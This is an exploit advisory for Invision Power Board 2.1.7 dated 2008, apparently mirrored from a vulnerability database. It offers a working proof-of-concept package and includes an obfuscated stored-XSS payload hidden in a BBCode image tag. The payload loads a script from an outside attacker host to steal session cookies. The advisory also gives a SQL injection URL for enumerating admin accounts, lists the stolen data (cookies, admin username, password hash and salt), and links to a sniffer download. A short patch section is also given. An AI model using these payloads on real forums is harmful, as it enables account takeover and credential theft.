Invision Power Board <= 2.1.7 ACTIVE XSS/SQL Injection Exploit

🗓️ 06 Jan 2008 00:00:00Reported by RootType
Invision Power Board <= 2.1.7 active XSS/SQL Injection exploit discovered. It includes an active XSS generator, JS-file, log viewer, and a component that retrieves data from MySQL forum tables in session interception scenarios

                                                ----[&nbsp;INVISION&nbsp;POWER&nbsp;BOARD&nbsp;2.1.7&nbsp;EXPLOIT&nbsp;...&nbsp;ITDefence.ru&nbsp;Antichat.ru&nbsp;]

						INVISION&nbsp;POWER&nbsp;BOARD&nbsp;2.1.7&nbsp;ACTIVE&nbsp;XSS/SQL&nbsp;INJECTION
							Eugene&nbsp;Minaev&nbsp;[email protected]
				___________________________________________________________________
			____/&nbsp;&nbsp;__&nbsp;__&nbsp;_______________________&nbsp;_______&nbsp;&nbsp;_______________&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;\
			/&nbsp;.\&nbsp;&nbsp;/&nbsp;&nbsp;/_//&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;/__/&nbsp;&nbsp;&nbsp;/
			/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/___/
			\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
			/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//\
			\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;____________/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;__________//&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;/&nbsp;&nbsp;&nbsp;
			/\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\_______/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\________________/____/&nbsp;&nbsp;2007&nbsp;&nbsp;&nbsp;&nbsp;/_//_/&nbsp;&nbsp;&nbsp;//&nbsp;//\
			\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/
			.\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ITDEFENCE.ru&nbsp;Security&nbsp;advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/&nbsp;.&nbsp;
			.&nbsp;\_\\________[________________________________________]_________//_//_/&nbsp;.&nbsp;.
		&nbsp;
		----[&nbsp;NITRO&nbsp;...&nbsp;]
		
		This&nbsp;vulnerability&nbsp;was&nbsp;already&nbsp;found&nbsp;before,&nbsp;but&nbsp;there&nbsp;was&nbsp;no&nbsp;available&nbsp;
		public&nbsp;&quot;figting&quot;&nbsp;exploit&nbsp;for&nbsp;it.&nbsp;This&nbsp;POC&nbsp;consists&nbsp;of&nbsp;several&nbsp;parts&nbsp;-&nbsp;active&nbsp;xss&nbsp;generator,&nbsp;
		JS-file,&nbsp;which&nbsp;will&nbsp;be&nbsp;caused&nbsp;at&nbsp;visiting&nbsp;page&nbsp;with&nbsp;xss,&nbsp;log&nbsp;viewer&nbsp;and&nbsp;special&nbsp;component,
		which&nbsp;will&nbsp;take&nbsp;necessary&nbsp;data&nbsp;from&nbsp;MySQL&nbsp;forum's&nbsp;tables&nbsp;in&nbsp;case&nbsp;if&nbsp;intercepted&nbsp;session
		belonged&nbsp;to&nbsp;the&nbsp;person&nbsp;with&nbsp;moderator&nbsp;privileges.&nbsp;
		
		----[&nbsp;ANALYSIS&nbsp;...&nbsp;]
		
		XSS.php&nbsp;is&nbsp;one&nbsp;of&nbsp;the&nbsp;most&nbsp;important&nbsp;part&nbsp;of&nbsp;IPB&nbsp;2.1.7&nbsp;POC&nbsp;package,&nbsp;as&nbsp;it&nbsp;generates&nbsp;xss&nbsp;for&nbsp;
		future&nbsp;injetion&nbsp;on&nbsp;the&nbsp;forum&nbsp;board.&nbsp;As&nbsp;the&nbsp;reference&nbsp;it&nbsp;is&nbsp;necessary&nbsp;to&nbsp;specify&nbsp;the&nbsp;full&nbsp;way&nbsp;
		up&nbsp;to&nbsp;ya.js&nbsp;file&nbsp;(in&nbsp;which&nbsp;you&nbsp;have&nbsp;already&nbsp;preliminary&nbsp;corrected&nbsp;way&nbsp;on&nbsp;your&nbsp;own).&nbsp;Most&nbsp;likely&nbsp;
		it&nbsp;is&nbsp;necessary&nbsp;only&nbsp;to&nbsp;press&nbsp;the&nbsp;button.&nbsp;
		
		[img]http://www.ya.ru/[snapback]	onerror=script=document.createElement(String.fromCharCode(115,99,114,
		105,112,116)),script.src=/http:xxdaim.ruxmonzterxforum/.source.replace(/x/g,String.fromCharCode(47)),
		head=document.getElementsByTagName(String.fromCharCode(104,101,97,100)).item(0),head.appendChild(script)
		style=visibility:hidden	=[/snapback].gif[/img]
		
		The&nbsp;injection&nbsp;can&nbsp;be&nbsp;executed&nbsp;only&nbsp;when&nbsp;there&nbsp;is&nbsp;available&nbsp;session&nbsp;of&nbsp;the&nbsp;user&nbsp;with&nbsp;access&nbsp;
		in&nbsp;moderator's&nbsp;panel.It&nbsp;is&nbsp;necessary&nbsp;to&nbsp;result&nbsp;&quot;starter&quot;&nbsp;parameter&nbsp;to&nbsp;numerical&nbsp;by&nbsp;means&nbsp;of&nbsp;&quot;intval&quot;&nbsp;
		function.In&nbsp;case&nbsp;of&nbsp;successfull&nbsp;injection&nbsp;there&nbsp;is&nbsp;an&nbsp;oppotunity&nbsp;to&nbsp;enumerate&nbsp;forums'&nbsp;administrators&nbsp;team:
		
		index.php?act=mod&amp;f=-6&amp;CODE=prune_finish&amp;pergo=50&amp;current=50&amp;max=3&amp;starter=1+union+select+1/*
		
		----[&nbsp;RECORD&nbsp;...&nbsp;]
		{
		
			---IP&nbsp;ADDRESS	sniffed&nbsp;ip&nbsp;address
			---REFERER		xssed&nbsp;theme
			---COOKIES&nbsp;		xssed&nbsp;cookies&nbsp;of&nbsp;forum&nbsp;member
			---USER&nbsp;ID		xssed&nbsp;user&nbsp;id&nbsp;of&nbsp;forum&nbsp;member
			---ADMIN&nbsp;NAME	admin&nbsp;username
			---ADMIN&nbsp;PASS	admin&nbsp;pass&nbsp;hash
			---ADMIN&nbsp;SALT	admin&nbsp;hash&nbsp;salt
			
		}
		
		----[&nbsp;PATCH&nbsp;...&nbsp;]
		
		FILE&nbsp;
			sources/classes/bbcode/class_bbcode_core.php
		FUNCTION
			regex_check_image
		LINE
			924
		REPLACE
			if&nbsp;(&nbsp;preg_match(&nbsp;&quot;/[?&amp;;]/&quot;,&nbsp;$url)&nbsp;)
		ON
			if&nbsp;(&nbsp;preg_match(&nbsp;&quot;/[?&amp;;\&lt;\[]/&quot;,&nbsp;$url)&nbsp;)&nbsp;
			
			
		FILE
			sources/classes/bbcode/class_bbcode_core.php
		FUNCTION
			post_db_parse_bbcode
		LINE
			486
		REPLACE
			preg_match_all(&nbsp;&quot;#(\[$preg_tag\])((?!\[/$preg_tag\]).+?)?(\[/$preg_tag\])#si&quot;,&nbsp;$t,&nbsp;$match&nbsp;);
		ON
			preg_match_all(&nbsp;&quot;#(\[$preg_tag\])((?!\[/$preg_tag\]).+?)?(\[/$preg_tag\])#si&quot;,&nbsp;$t,&nbsp;$match&nbsp;);

			if&nbsp;(&nbsp;$row['bbcode_tag']&nbsp;==&nbsp;'snapback'&nbsp;)
			{	
				$match[2][$i]&nbsp;=&nbsp;intval(&nbsp;$match[2][$i]&nbsp;);
			}&nbsp;&nbsp;
			
			
		
		www.underwater.itdefence.ru/isniff.rar
		www.milw0rm.com/sploits/2008-isniff.rar

----[&nbsp;FROM&nbsp;RUSSIA&nbsp;WITH&nbsp;LOVE&nbsp;::&nbsp;underWHAT?!&nbsp;,&nbsp;gemaglabin&nbsp;]
06 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1
Invision Power Board &lt;= 2.1.7 ACTIVE XSS/SQL Injection Exploit

Invision Power Board <= 2.1.7 ACTIVE XSS/SQL Injection Exploit
